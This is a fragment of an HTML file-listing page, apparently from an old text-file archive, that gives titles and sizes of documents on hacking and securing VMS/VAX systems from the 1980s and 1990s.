<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vms.faq">vms.faq</A> <tab to=T><TD> 75650<BR><TD> The VMS Hack FAQ by The Beaver and Tsyvt Version 0.02 (August 18, 1995)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vms.nap">vms.nap</A> <tab to=T><TD> 4192<BR><TD> A Profile on Vaxes, compiled by Blind Justice and Dr. Insanity
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vms.txt">vms.txt</A> <tab to=T><TD> 11776<BR><TD> A Profile on VAX's, by Blind Justice and Dr. Insanity
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vmsfaq.txt">vmsfaq.txt</A> <tab to=T><TD> 75789<BR><TD> The VMS Hacking FAQ (Beta 0.03 Release) July 20th, 1998 by The Beave and Tsywt
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vmshack.txt">vmshack.txt</A> <tab to=T><TD> 3416<BR><TD> Getting System Privilege under VMS by Lightfinger (1987)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vmssecure.txt">vmssecure.txt</A> <tab to=T><TD> 108138<BR><TD> A Practical Exercise in Securing an OpenVMS System by Rob McMillan
</TABLE><P><TABLE WIDTH=100%><TR><TD ALIGN=RIGHT><SMALL>There are 48 files for a total of 1,403,312 bytes.</SMALL></TABLE></BODY>
</HTML>